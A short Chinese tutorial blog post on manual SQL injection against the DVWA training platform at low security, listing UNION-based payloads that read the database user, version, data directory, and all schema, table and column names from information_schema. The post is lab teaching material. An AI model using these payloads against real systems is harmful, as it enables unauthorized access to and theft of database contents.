[MySQL] SQL注入——手工注入

朱雀 2022-09-15 15:59 206阅读 0赞

**此次用到的是DVWA平台**  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16]

DVWA Security设置安全模式为low  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 1]

用SQL Injection模块，通过布尔逻辑注入查询当前表的所有lastname和firstname  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 2]

1、通过union关键字注入，查询当前使用数据库

' union select session_user(),' ' #

2、通过union关键字和concat()/concat\_ws函数注入，查询当前数据库，当前用户名，MySQL版本，当前数据库路径

' union select concat(database(),version(),@@datadir,user()),' ' #

' union select concat_ws(user(),version(),@@datadir),' ' #

3、通过union关键字注入获取元数据，查询MySQL中所有数据库名

' union select schema_name,' ' from information_schema.schemata #

' union select group_concat(database()),' ' #

4、通过union关键字注入获取元数据，查询当前数据库中所有表名

' union select table_name,' ' from information_schema.tables where table_schema="dvwa" #

' union select group_concat(table_name),' ' from information_schema.tables where table_schema="dvwa" #

5、通过union关键字注入获取元数据，查询users表中所有字段名

' union select group_concat(column_name),' ' from information_schema.columns where table_name="user" #

6、打开SQL Injection(Blind)模块，实现一次时间盲注

[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16]: /images/20220828/b74cf6139af84fc1a161a4877f6f0008.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 1]: /images/20220828/b996028fa3b949c88fc6dc829d5e6866.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 2]: /images/20220828/9e31933acaac4fe1915ef67a03975065.png